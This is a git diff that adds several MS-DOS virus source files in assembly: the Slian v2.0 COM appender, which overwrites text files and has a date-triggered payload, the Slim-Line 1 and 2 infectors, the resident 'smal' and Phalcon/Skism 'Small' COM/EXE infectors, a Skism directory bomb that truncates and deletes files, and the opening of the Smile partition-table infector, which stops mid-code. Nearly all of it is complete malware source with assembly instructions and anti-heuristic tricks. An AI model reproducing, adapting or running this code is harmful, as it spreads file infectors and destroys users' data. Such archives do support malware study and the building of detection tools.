file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + cmp byte ptr [bp+numinfec], 0; Enough infections? + jnz find_next + pop ax ; remove call from stack + jmp done_infections + +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + mov cx, 1ah + push cx + push bx ; Save file handle + les ax,dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+oldCSIP2], ax + mov word ptr [bp+oldCSIP2+2], es + + les ax,dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+oldSSSP2],es + mov word ptr [bp+oldSSSP2+2],ax + + mov ax,word ptr [bp+buffer+8]; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax,dword ptr [bp+newDTA+26] ; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + pop bx ; Restore file handle + + add ax, heap-startvirus ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + mov ax,word ptr [bp+buffer+14h] ; needed later + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + push cx + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h +finishinfection: + add ax,offset startencrypt-offset decrypt + push ax + + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+offset codestore] + mov al,55h ; push bp + stosb + lea si,[bp+offset decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + lea si,[bp+offset write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop ax + push di + push si + push cx + rep movsb ; Copy decryption function + + mov word ptr [bp+patch_startencrypt+1],ax + + mov al,5dh ; pop bx + stosb + mov al,0c3h ; retn + stosb + + call codestore ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,4200h ; Move file pointer + xor cx,cx ; to beginning of file + cwd ; xor dx,dx + int 21h + + mov ah,40h ; Write to file + lea dx,[bp+offset buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + dec byte ptr [bp+numinfec] ; One mo infection + jmp done_file + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+offset newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+offset decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bp +endwrite: + +exe_mask db '*.exe',0 +com_mask db '*.com',0 +heap: ; Variables not in code +; The following code is the buffer for the write function +codestore:db (startencrypt-decrypt)*2+(endwrite-write)+3 dup (?) +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/MSDOS/Virus.MSDOS.Unknown.slian.asm b/MSDOS/Virus.MSDOS.Unknown.slian.asm new file mode 100644 index 00000000..e50be9a1 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.slian.asm @@ -0,0 +1,277 @@ +; ------------------------------------------------------------------------- ; +; Slian v2.0 coded by KilJaeden of the Codebreakers 1998 ; +; ------------------------------------------------------------------------- ; +; Description: ; +; ; +; v1.0 - start with *.com appender - great tutorials Horny Toad! CB #1,2,3 ; +; v1.1 - add a anti-heuristic loop - Ars0nic's article in Codebreakers #3 ; +; v1.2 - add no bigger, no smaller - Opic's Virus-Addons article in CB #3 ; +; v1.3 - add directory transversal - thankz to SPo0ky / Opic for this :) ; +; v1.4 - add date activated p-load - Opic's Virus-Addons article in CB #3 ; +; v1.5 - add *.txt file overwriter - great tutorials Horny Toad! CB #1,2,3 ; +; v1.6 - optimize my code a little - thanks Opic :) ; +; v1.7 - add anti-heuristic tricks - Ars0nic's article in Codebreakers #3 ; +; v1.8 - add appending of any file - Sea4's Nautilus Virus ; +; v1.9 - add overwrite of any file - thanks again Sea4 hehe ; +; v2.0 - add date/time restoration - thankz again Opic man :) ; +; ------------------------------------------------------------------------- ; +; -----------> Dedicated to Christine Moore, I'll be back soon! <---------- ; +; ------------------------------------------------------------------------- ; +; to compile ::] tasm slian.asm ; +; to link :::::] tlink /t slian.obj ; +; ------------------------------------------------------------------------- ; + +code segment ; name our segment "code" + assume cs:code,ds:code ; assign cs and ds to code + org 100h ; a .com file + +start: + db 0e9h,0,0 ; define a blank jump + +real_start: + mov cx,0ffffh ; from other anti-heuristics + +anti_one: + jmp anti_two ; jump to anti two + mov ax,4c00h ; terminate program + call do_it ; make it so DOS! + +anti_two: + loop anti_one ; loop anti_one + +;call_delta: + call get_delta ; push IP on to stack + +get_delta: + pop bp ; pop it into bp + sub bp,offset get_delta ; get the delta offset + +;first_three: + mov cx,3 ; counter set to three + lea si,[bp+offset thrbyte] ; where to write them + mov di,100h ; start address + push di ; save it for retn + rep movsb ; do until cx = 0 + +;move_dta: + lea dx,[bp+offset dta] ; where to move it + mov ah,1ah ; move the dta + call do_it ; make it so DOS! + +get_one: + mov ah,4eh ; find first file + lea dx,[bp+comfile] ; load *.com + mov cx,7 ; all attributes + +next: + call do_it ; make it so DOS! + jnc open_file ; found one? open it + jmp find_txt ; no .com left? .txt now + +next_dir: + lea dx,[bp+dot_dot] ; load effective address .. + mov ah,3bh ; directory changing + call do_it ; make it so DOS! + jnc get_one ; and find first again + jmp pld_chk ; hit root, payload time? + +open_file: + lea dx,[bp+dta+1eh] ; filename in DTA + mov ax,4301h ; set file attributes + xor cx,cx ; to absolutely none + call do_it ; make it so DOS! + + mov ax,3d02h ; open the file read/write + lea dx,[bp+offset dta+1eh] ; get the file name info + call do_it ; make it so DOS! + xchg ax,bx ; move the file info + + mov ax,5700h ; get time/date stamps + call do_it ; make it so DOS! + mov [bp+time_cm],dx ; save the values here + mov [bp+date_cm],cx ; save the values here + +;record_three: + mov ah,3fh ; the read / record function + lea dx,[bp+thrbyte] ; where to record too + mov cx,3 ; how much to record + call do_it ; make it so DOS! + +;file_check: + mov ax,word ptr [bp+dta+1ah] ; get file size + mov cx,word ptr [bp+thrbyte+1] ; get three bytes + add cx,finished-real_start+3 ; get virus and jump size + cmp ax,cx ; compare the two + jz close_file ; if equal, close file + +;too_big: + cmp word ptr [bp+dta+1ah],61440 ; > then 61440d bytes? + jna too_small ; not too big, too small? + jmp close_file ; too big, close it up + +too_small: + cmp word ptr [bp+dta+1ah],1024 ; < then 1024d bytes? + jnb new_jump ; not too small, continue + jmp close_file ; too small, close it up + +new_jump: + sub ax,3 ; file size - 3 bytes + mov word ptr [bp+newjump+1],ax ; write as new jump + +;point_to_begin: + mov ax,4200h ; point to start of file + xor cx,cx ; cx to 0 + xor dx,dx ; dx to 0 + call do_it ; make it so DOS! + +;write_jump: + mov ah,40h ; write to file + mov cx,3 ; three bytes + lea dx,[bp+newjump] ; write this + call do_it ; make it so DOS! + +;point_to_end: + mov ax,4202h ; point to end of file + xor cx,cx ; cx to 0 + xor dx,dx ; dx to 0 + call do_it ; make it so DOS! + +;write_body: + mov ah,40h ; write to file + lea dx,[bp+real_start] ; what to write + mov cx,finished-real_start ; how much to write + call do_it ; make it so DOS! + +close_file: + mov ax,5701h ; restore time/date stamps + mov dx,[bp+time_cm] ; from this value + mov cx,[bp+date_cm] ; and this value + call do_it ; make it so DOS! + + mov ah,3eh ; close up the file + call do_it ; make it so DOS! + +;next_file: + mov ah,4fh ; find next file + jmp next ; and jump to next + +find_txt: + mov dx,80h ; move DTA to here + mov ah,1ah ; move the DTA + call do_it ; make it so DOS! + mov ah,4eh ; find first file + xor cx,cx ; cx to 0 + lea dx,txtfile ; load *.txt address + +next_txt: + call do_it ; make it so DOS! + jnc open_txt ; found a .txt? open it + jmp next_dir ; none found? next directory + +open_txt: + mov dx,9eh ; filename in DTA + mov ax,4301h ; set file attributes + xor cx,cx ; to absolutely none + call do_it ; make it so DOS! + + mov ax,3d02h ; all file attributes + mov dx,9eh ; get the file name info + call do_it ; make it so DOS! + xchg bx,ax ; move the file info + + mov ax,5700h ; get time/date stamps + call do_it ; make it so DOS! + mov [bp+time_tx],dx ; save the values here + mov [bp+date_tx],cx ; save the values here + +;infect_txt: + mov ah,40h ; write to file + lea dx,txt_start ; where to start + mov cx,txt_end-txt_start ; how much to write + call do_it ; make it so DOS! + +;close_txt: + mov ax,5701h ; restore time/date stamps + mov dx,[bp+time_tx] ; from this value + mov cx,[bp+date_tx] ; and this value + call do_it ; make it so DOS! + + mov ah,3eh ; close the file + call do_it ; make it so DOS! + +;find_next: + mov ah,4fh ; find next .txt file + jmp next_txt ; and go again + +end_virus: + retn ; return control to host + +pld_chk: + mov ah,2ah ; get system date + call do_it ; make it so DOS! + cmp dh,07 ; is it July? + je day_chk ; yes it is, check day now + jmp end_virus ; nope, end virus + +day_chk: + cmp dl,16 ; is it the 16th? + je payload ; woohoo payload time! + jmp end_virus ; nope, end virus + +payload: + mov ah,09h ; print a message to screen + lea dx,[bp+pld_msg] ; the message + call do_it ; make it so DOS! + mov ah,01h ; start printer + mov dx,0h ; put 0h into dx + int 17h ; printer int + lea si,string1 ; where to start + mov cx,endstring1-string1 ; how much to write + +print_message: + mov ah,00h ; write characters + lodsb ; load a byte + int 17h ; printer int + loop print_message ; loop until done + jmp end_virus ; and end the virus + +do_it: + int 21h ; make it so DOS! + ret ; return from call + +;data_area: + txt_start: + db '',10 + db 'Need you, Dream you',10 + db 'Find you, Taste you',10 + db 'Fuck you, Use you',10 + db 'Scar you, Break you',10 + db 'Lose me, Hate me',10 + db 'Smash me, Erase me',10 + db '',10 + txt_end: + + string1: + pld_msg db '',10,13 + db 'Happy Birthday Christine!',10,13 + db 'Your As Beautiful As Ever',10,13,'$' + endstring1: + + time_cm dw 0h ; .com time stamp goes here + time_tx dw 0h ; .txt time stamp goes here + date_cm dw 0h ; .com date stamp goes here + date_tx dw 0h ; .txt date stamp goes here + dot_dot db "..",0 ; define the .. string + comfile db "*.c*",0 ; define the *.com string + txtfile db "*.tx*",0 ; define the *.txt string + thrbyte db 0cdh,20h,0 ; terminates on first run + newjump db 0e9h,0,0 ; blank jump on first run + finished label near ; an offset label + dta db 42 dup (?) ; set up space for DTA + code ends ; end code segment + end start ; end / where to start + +; ------------------------------------------------------------------------- ; +; ----------> How Can You Think Freely In The Shadow Of A Church <--------- ; +; ------------------------------------------------------------------------- ; + diff --git a/MSDOS/Virus.MSDOS.Unknown.slim1.asm b/MSDOS/Virus.MSDOS.Unknown.slim1.asm new file mode 100644 index 00000000..fffb2eb4 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.slim1.asm @@ -0,0 +1,51 @@ +; +; The Slim-Line 1 virus, from the Slim-line virus strain. +; (C) 1993 by [DRkRY]/TridenT +; +; This one's a dumb overwriting virus, as small as possible, +; return to DOS and work with all dos versions. (no SI=100h tricks ect.) +; + +_CODE SEGMENT + ASSUME CS:_CODE, DS:_CODE, ES:_CODE + ORG 100h + +FIRST: + DB "*.*", 000h ; Infect ALL files.. + MOV AH,4Eh ; Find first... + XOR CX,CX ; No attributes. +AGAIN: + MOV DX,100h ; String from 100h + PUSH DX ; Save 100h for later. + INT 21h ; Find it! + JC DIR_HIGHER ; Not found??? + + MOV AX,3D01h ; Open it... + MOV DX,9Eh ; Yeah, THAT file! + INT 21h ; I said NOW! + XCHG AX,BX ; Put handle in BX... + + MOV AH,40h ; Infect it. + MOV CL,(LAST-FIRST) ; Thats how big I am... + POP DX ; Save it, ya remember... + INT 21h ; Go get it! + + MOV AH,3Eh ; Party is over, + INT 21h ; close it.. + + MOV AH,4Fh ; Who's next! + JMP AGAIN + + CHD DB "..", 000h ; Dir higher 8^] +DIR_HIGHER: + MOV AH,3Bh ; Change dir. + POP DX ; Don't mess with stack... + MOV DX,OFFSET CHD ; Dir higher... + INT 21h ; Ok... + JNC FIRST ; Root?? +EXIT: + RET ; Then exit.. +LAST: + +_CODE ENDS + END FIRST diff --git a/MSDOS/Virus.MSDOS.Unknown.slim2.asm b/MSDOS/Virus.MSDOS.Unknown.slim2.asm new file mode 100644 index 00000000..64091936 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.slim2.asm @@ -0,0 +1,146 @@ +; +; The Slim-Line 2 virus, from the Slim-line virus collection. +; (C) 1993 by [DRkRY]/TridenT +; +; And this time it's a direct action COM infector. +; + +_CODE SEGMENT + ASSUME CS:_CODE, DS:_CODE, ES:_CODE + ORG 100h + +FIRST: + DB 'D', 0E9h, 000h, 000h + +VX: + MOV BP,00000h + + LEA SI,[BP + OLD_4_BYTES] + MOV DI,00100h + PUSH DI + MOV CX,DI + MOVSW + MOVSW + + XOR SI,SI + LEA DI,[BP + LAST + 2] + PUSH SI + PUSH DI + PUSH CX + REP MOVSB + +FIND_FILE: + MOV AH,04Eh + LEA DX,[BP + FIND] + MOV CL,27h +AGAIN: + INT 021h + JC GO_ROOT + +YES_FILE: + MOV AX,04300h + MOV DX,09Eh + INT 021h + PUSH CX + + MOV AX,04301h + XOR CX,CX + INT 021h + + MOV AX,03D02h + INT 021h + XCHG AX,BX + + + MOV AX,05700h + INT 021h + PUSH CX + PUSH DX + + MOV AH,03Fh + MOV CX,004h + LEA DX,[BP + OLD_4_BYTES] + INT 021h + + MOV SI,DX + LODSW + CMP AX,0E944h + JE DONT_INFECT + + MOV AL,02h + CALL SET_POINTER + + SUB AX,00004h + MOV WORD PTR [BP + VX + 2],AX + MOV WORD PTR [BP + NEW_4_BYTES + 2],AX + + MOV AH,040h + MOV CL,(LAST - VX) + LEA DX,[BP + VX] + INT 021h + + XOR AX,AX + CALL SET_POINTER + + MOV AH,040h + MOV CL,004h + LEA DX,[BP + NEW_4_BYTES] + INT 021h + +DONT_INFECT: + MOV AX,05701h + POP DX + POP CX + INT 021h + + MOV AH,03Eh + INT 021h + + MOV AX,04301h + POP CX + MOV DX,09Eh + INT 021h + + MOV AH,4Fh + JMP AGAIN + +GO_ROOT: + + MOV AH,03Bh + LEA DX,[BP + ROOT] + INT 021h + JC EXIT + JMP FIND_FILE + +EXIT: + POP CX + POP SI + POP DI + REP MOVSB + + RET + +SET_POINTER: + MOV AH,042h + XOR CX,CX + CWD + INT 021h + RET + + OLD_4_BYTES: NOP + NOP + NOP + RET + + FIND DB "*.COM", 000h + ROOT DB "\", 000h + + CUT DB "" + MARKER DB "[DR/TridenT]" + NAMED DB "Slim-Line 2 v0.9" + COUNTRY DB "Holland" + NEW_4_BYTES DB 'D', 0E9h +LAST: + +_CODE ENDS + END FIRST diff --git a/MSDOS/Virus.MSDOS.Unknown.smal.asm b/MSDOS/Virus.MSDOS.Unknown.smal.asm new file mode 100644 index 00000000..447c1508 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.smal.asm @@ -0,0 +1,230 @@ +virus segment public 'code' + assume cs:virus,ds:virus,es:virus + org 0 + +VirusSize equ VirusEnd-$ + +Com: call Begin + call Label2 + +PartPage equ this word+02h +PageCount equ this word+04h +HdrSize equ this word+08h +MinMem equ this word+0ah +MaxMem equ this word+0ch +ExeSS equ this word+0eh +ExeSP equ this word+10h +ExeSignature equ this word+12h +ExeStart equ this dword+14h +ExeIP equ this word+14h +ExeCS equ this word+16h + +SavedCode: + mov ax,4c00h + int 21h + + org SavedCode+18h + +Label2: pop si + mov di,100h + push di + movsw + movsw + movsb + ret + +Exe: call Begin + mov dx,ds + add dx,10h + add cs:ExeCS,dx + add dx,cs:ExeSS + mov ss,dx + mov sp,cs:ExeSP + jmp cs:ExeStart + +Begin: push ds + push es + push ax + xor ax,ax + mov ds,ax + mov ds,ds:[46ah] + cmp Signature,0ACDCh + je Exit + mov ah,4ah + mov bx,-1 + int 21h + sub bx,(VirusSize+1fh)/10h+1000h + jb Exit + add bh,10h + mov ah,4ah + int 21h + mov ah,48h + mov bx,(VirusSize+0fh)/10h + int 21h + jb Exit + dec ax + mov es,ax + inc ax + mov es:[1],ax + mov es,ax + push cs + pop ds + call Label1 +Label1: pop si + sub si,offset Label1 + xor di,di + push di + mov cx,VirusSize + rep movsb + pop ds + mov ax,ds:[84h] + mov word ptr es:OldInt21[0],ax + mov ax,ds:[86h] + mov word ptr es:OldInt21[2],ax + mov byte ptr ds:[467h],0eah + mov word ptr ds:[468h],offset NewInt21 + mov ds:[46ah],es + mov word ptr ds:[84h],7 + mov word ptr ds:[86h],46h +Exit: pop ax + pop ds + pop es + ret + +Header db 0e9h + dw 0 +Signature dw 0ACDCh + +NewInt21: + cmp ah,4bh + je Exec + jmp short EOI +Exec: push ax + push bx + push cx + push dx + push ds + mov ax,3d02h + call Interrupt + jc short Error + push cs + pop ds + mov bx,ax + mov ah,3fh + mov cx,18h + mov dx,offset SavedCode + call DOS + cmp word ptr cs:SavedCode,5a4dh + je ExeFile +ComFile:cmp word ptr cs:SavedCode[3],0ACDCh + je short Close + mov al,02h + call Seek + or dx,dx +; jmp short Close + cmp ah,0f6h + je short Close + sub ax,5 +; jmp short Close + inc ax + inc ax + mov word ptr ds:Header[1],ax + mov ah,40h + mov cx,VirusSize + xor dx,dx + call DOS + mov al,00h + call Seek + mov ah,40h + mov cx,5 + mov dx,offset Header + call Interrupt +Close: mov ah,3eh + call Interrupt +Error: pop ds + pop dx + pop cx + pop bx + pop ax + +EOI: db 0eah ; jmp 0:0 +OldInt21 dd 026b1465h + +ExeFile:cmp ExeSignature,0ACDCh + je short Close + mov al,02h + call Seek + add ax,0fh + adc dx,0 + and al,0f0h + xchg ax,dx + mov cx,ax + mov ax,4200h + call DOS + mov cx,10h + div cx + or dx,dx + jne Close + mov dx,ax + sub dx,HdrSize + push dx + mov cx,10h + mul cx + add ax,VirusSize + adc dx,0 + mov cx,200h + div cx + inc ax + push ax + push dx + mov ah,40h + mov cx,VirusSize + xor dx,dx + call Interrupt + pop PartPage + pop PageCount + pop ax + jc Close + mov ExeCS,ax + mov ExeIP,offset Exe + add ax,(VirusSize+0fh)/10h + mov ExeSS,ax + mov ExeSP,200h + cmp MinMem,20h + jae Mem1 + mov MinMem,20h +Mem1: cmp MaxMem,20h + jae Mem2 + mov MaxMem,20h +Mem2: mov al,00 + call Seek + mov ah,40h + mov cx,18h + mov dx,offset SavedCode + call Interrupt + jmp Close + +Seek: mov ah,42h + xor cx,cx + xor dx,dx + +DOS: call Interrupt + jnc Ok + pop ax + jmp Close + +Interrupt: + pushf + call cs:OldInt21 +Ok: ret + +VirusEnd equ $ + +virus ends + +end + +; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 +; 陳陳陳陳陳陳陳陳陳陳> and Remember Don't Forget to Call <陳陳陳陳陳陳陳陳 +; 陳陳陳陳陳陳> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <陳陳陳陳陳 +; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 diff --git a/MSDOS/Virus.MSDOS.Unknown.small.asm b/MSDOS/Virus.MSDOS.Unknown.small.asm new file mode 100644 index 00000000..5ecd0aa4 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.small.asm @@ -0,0 +1,190 @@ + .model tiny + .code + .radix 16 + .code + ; Phalcon/Skism _Small virus + ; Written by Dark Angel of Phalcon/Skism + ; 278 byte generic COM/EXE infector + EXE_ID = -40 + viruslength = heap - _small + startload = 90 * 4 + + _small: + call relative + oldheader dw 020cdh + dw 0bh dup (0) + relative: + pop bp + push ds + push es + xor ax,ax + mov ds,ax + mov es,ax + mov di,startload + cmp word ptr ds:[di+25],di + jz exit_small + + lea si,[bp-3] + mov cx,viruslength + db 2Eh + rep movsb + + mov di,offset old21 + startload + mov si,21*4 + push si + movsw + movsw + pop di + mov ax,offset int21 + startload + stosw + xchg ax,cx + stosw + + exit_small: + pop es + pop ds + + or sp,sp + jnp returnCOM + returnEXE: + mov ax,ds + add ax,10 + add [bp+16],ax + add ax,[bp+0e] + mov ss,ax + mov sp,cs:[bp+10] + jmp dword ptr cs:[bp+14] + returnCOM: + mov di,100 + push di + mov si,bp + movsw + movsb + ret + + infect: + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + mov ax,3d02 + int 21 + xchg ax,bx + + push cs + pop ds + push cs + pop es + + mov si,offset oldheader+startload + + mov ah,3f + mov cx,18 + push cx + mov dx,si + int 21 + + cmp ax,cx + jnz go_already_infected + + mov di,offset target + startload + push di + rep movsb + pop di + + mov ax,4202 + cwd + int 21 + + cmp ds:[di],'ZM' + jz infectEXE + + sub ax,3 + mov byte ptr ds:[di],0e9 + mov ds:[di+1],ax + + sub ax,viruslength + cmp ds:[si-17],ax + jnz finishinfect + go_already_infected: + pop cx + jmp short already_infected + + int21: + cmp ax,4b00 + jz infect + jmp short chain + + infectEXE: + cmp word ptr [di+10],EXE_ID + jz go_already_infected + + push ax + push dx + + add ax,viruslength + adc dx,0 + + mov cx,200 + div cx + + or dx,dx + jz nohiccup + inc ax + nohiccup: + mov ds:[di+4],ax + mov ds:[di+2],dx + + pop dx + pop ax + + mov cx,10 + div cx + + sub ax,ds:[di+8] + + mov ds:[di+14],dx + mov ds:[di+16],ax + + mov ds:[di+0e],ax + mov word ptr ds:[di+10],EXE_ID + finishinfect: + mov ah,40 + mov cx,viruslength + mov dx,startload + int 21 + + mov ax,4200 + xor cx,cx + cwd + int 21 + + mov ah,40 + mov dx,di + pop cx + int 21 + already_infected: + mov ah,3e + int 21 + exitinfect: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + chain: + db 0ea + heap: + old21 dw ?, ? + target dw 0ch dup (?) + + endheap: + end _small diff --git a/MSDOS/Virus.MSDOS.Unknown.smash.asm b/MSDOS/Virus.MSDOS.Unknown.smash.asm new file mode 100644 index 00000000..e36e3895 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.smash.asm @@ -0,0 +1,190 @@ +;skism directory bomb v1.00 + +;written by hellraiser + +;this is a lame bomb consisting of repetative/error full code +;but it gets the job done +;when run this program will start at the first directory from the root +;and trash all files in first level directorys +;then create a directory in place of the distroyed file name + +;it will also create a semi-removable directory called skism + +;yes bombs are very lame, and be advised, this is the only bomb +;skism shall ever write... but we must try everything once + +;be warned, the tech used by this program does not only erase files but +;it will also truncate them to 0 bytes, the skism method. + +code segment 'code' +assume cs:code,ds:code,es:code + org 0100h + +main proc near + +jmp start + + +thestoppa db 1ah ;EOF char to stop TYPE command +filecards db '*.*',0 ;wildcards for files +dircards db '*',0 ;wildcards for directorys +root db '\',0 ;root directory path +default db 64 DUP (?) ;buffer to hold current dir +dirdta db 43 DUP (?) ;DTA for dirs +filedta db 43 DUP (?) ;DTA for files +dseg dw ? ;holds old dir DTA segment +dofs dw ? ;holds old dir DTA segment + +start: + + mov di,offset vl ;decrypt skism string + mov si,offset vl ; + mov cx,09h ; + + cld ; + +repeat: + + lodsb ; + xor al,92h ; + stosb ; + dec cx ; + jcxz bombstart ; + jmp repeat ; + +bombstart: + + mov dx,offset dirdta ;set DTA to hold directorys + mov ah,1ah ;DOS set DTA function + int 21h ; + + mov ah,19h ;get drive code + int 21h ; + + mov dl,al ;save drive code into dl + inc dl ;translate for function 3bh + + mov ah,47h ;save current dir + mov si, offset default ;save current dir into buffer + int 21h ; + + mov dx,offset root ;change dir to root + mov ah,3bh ; + int 21h ; + + mov cx,13h ;find directorys + mov dx,offset dircards ;find only directorys + mov ah,4eh ;find first file + +scanloop: + + int 21h ; + jc quit ;quit if no more dirs/error + + jmp changedir ;change to that dir + +findnextdir: + + mov ah,4fh ;find next directory + mov dx,offset dircards ; + jmp scanloop + +changedir: + + mov dx,offset dirdta + 30 ;point to dir name in DTA + mov ah,3bh ;change directory + int 21h ; + +smash: + + mov ah,2fh ; + int 21h ; + mov [dseg],es ;save dir DTA segemnt + mov [dofs],bx ;and offset + int 21h + + mov dx,offset filedta ;use file DTA as new DTA + mov ah,1ah ; + int 21h ; + + mov cx,0007h ;find flat attributes + mov dx,offset filecards ;point to '*.*',0 wildcard spec + mov ah,4eh ;find first file + +filescanloop: + + int 21h ; + jc done ;quit on error/no files found + + + mov ax,4301h ;clear files attributes + xor cx,cx ; + mov dx, offset filedta + 30 ; + int 21h ; + jc quit + + mov ah,3ch ;truncate file + int 21h + jc quit + + mov bx,ax ;save handle + + jc done + + mov ah,41h ;erase file + int 21h ; + + mov ah,3eh ;close file + int 21h ; + + mov ah,39h ;make directory in place of file + int 21h ; + + mov ah,4fh ;find next + jmp filescanloop + +done: + + mov ah,1ah ;restore directory DTA + mov ds,[dseg] ; + mov dx,[dofs] ; + int 21h + + mov dx,offset root ;change dir to root + mov ah,3bh ; + int 21h ; + + jmp findnextdir + + +quit: + + mov ah,3bh + mov dx,offset root ;change to root + int 21h + + mov ah,39h + mov dx,offset vl + int 21h + jc restore + +restore: + + mov dx,offset default ;restore original directory + mov ah,3bh ; + int 21h ; + + mov ah,4ch ; + int 21h ; + +vl db 0c1h,0f9h,0fbh,0e1h,0ffh,0bch,06dh,0b2h,06dh,0 + +filler db 28 dup(1ah) + +main endp +code ends + end main + + + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.smile.asm b/MSDOS/Virus.MSDOS.Unknown.smile.asm new file mode 100644 index 00000000..02c5ae34 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.smile.asm @@ -0,0 +1,1142 @@ +;------------------------------------------------------------------------------ +; +; Virus Name: Smile +; Origin: Holland +; Eff Length: 4,096 bytes +; Type Code: PRhE - Parasitic Resident .EXE & partition table infector +; +;------------------------------------------------------------------------------ +; +; This program is assembled with TASM V1.01 from Borland International +; (assembing with MASM V5.10 from Microsoft Inc. is also possible). +; +; TASM smile; +; LINK smile,,smile; +; +;------------------------------------------------------------------------------ +; +; Interrupt vectors +; +;------------------------------------------------------------------------------ + +iseg segment at 0 + org 8*4 +Int8o dw 0 ; interrupt vector 21h +Int8s dw 0 + + org 1ch*4 +Int1Co dw 0 ; interrupt vector 21h +Int1Cs dw 0 + + org 21h*4 +Int21o dw 0 ; interrupt vector 21h +Int21s dw 0 + +iseg ends + +cseg segment public 'code' + assume cs:cseg,ds:cseg,es:cseg + +;------------------------------------------------------------------------------ +; +; Header of EXE-file +; +;------------------------------------------------------------------------------ + +VirusSize equ 1580h ; size of virus + ; this one is very important, + ; if it isn't set right the + ; virus will hang every + ; infected file + +PrgSize equ 73h ; size of prg after the virus + ; this is used in the header + ; of the dummy program + + ; the value of these constants + ; can be determined by creating + ; a map-file with the linker. + +Signature dw 0 ; signature 'MZ' +PartPage dw 0 ; size of partitial page +PageCount dw 0 ; number of pages +ReloCount dw 0 ; number of relocation items +HeaderSize dw 0 ; size of header +MinMem dw 0 ; minimum memory needed +MaxMem dw 0 ; maximum memory needed +ExeSS dw 0 ; initial SS +ExeSP dw 0 ; initial SP +CheckSum dw 0 ; unused ??? +ExeIP dw 0 ; initial IP +ExeCS dw 0 ; initial CS +ReloOffset dw 0 ; offset of relocationtable +OverlayNr dw 0 ; number of overlay + +ComSize dw -1 ; Size of com-file (-1 for exe) + +;------------------------------------------------------------------------------ +; +; This procedure is called when starting from an exe-file +; +;------------------------------------------------------------------------------ + +Main: pushf ; save flags + sub sp,4 ; reserve space far cs:ip + push ax ; save other registers + push ds + push es + sti ; enable interrupts + cmp cs:ComSize,-1 ; com or exe-file + je ExeFile ; -1 : exe-file +ComFile: mov word ptr ds:[6],0fef0h ; set availeble memory to max + mov bp,sp ; set cs:ip on stack for + mov word ptr [bp+8],ds ; returning to the orginal + mov word ptr [bp+6],100h ; program + mov bp,ds ; bp : stacksegment + mov ax,cs ; bx : begin of com-file + add ax,(VirusSize/10h) + mov bx,ax + mov cx,0ff0h ; cx : size of data to move + add ax,cx ; es : buffer for mover and + mov es,ax ; infecting the bootsect. + push cs ; ds : codesegment + pop ds + jmp short InfectBoot ; infect bootsector +ExeFile: mov dx,cs ; Relocation + add dx,(VirusSize/10h) + mov ds,dx + mov cx,ReloCount ; number of relocation items + add dx,HeaderSize ; size of exe-header + mov si,ReloOffset ; offset of 1st relocation item + jcxz NoRelo +NextRelo: lodsw ; offset + mov di,ax + lodsw ; segment + add ax,dx + mov es,ax + mov ax,cs ; relocation factor + add es:[di],ax + loop NextRelo ; next relocation item +NoRelo: mov bp,sp + mov ax,cs ; set cs:ip on stack for + add ax,ExeCS ; returning to the orginal + mov [bp+8],ax ; program + mov ax,ExeIP + mov [bp+6],ax + mov bp,cs ; bp : stacksegment + add bp,ExeSS + mov ax,PageCount ; calculate size of exe-file + mov dx,PartPage ; in paragraphs + add dx,-1 + sbb ax,0 + mov cl,4 + shr dx,cl + inc dx + inc cl + shl ax,cl + add dx,ax + add dx,MinMem ; dx : size of exe-file + mov cx,dx ; cx : size of code and data + sub cx,HeaderSize + mov bx,cs ; bx : start of code and data + mov ds,bx + add bx,(VirusSize/10h) + add bx,dx + mov es,bx ; es : buffer for mover and + sub bx,cx ; infecting the bootsect. +InfectBoot: push bx ; save bx and cx + push cx + 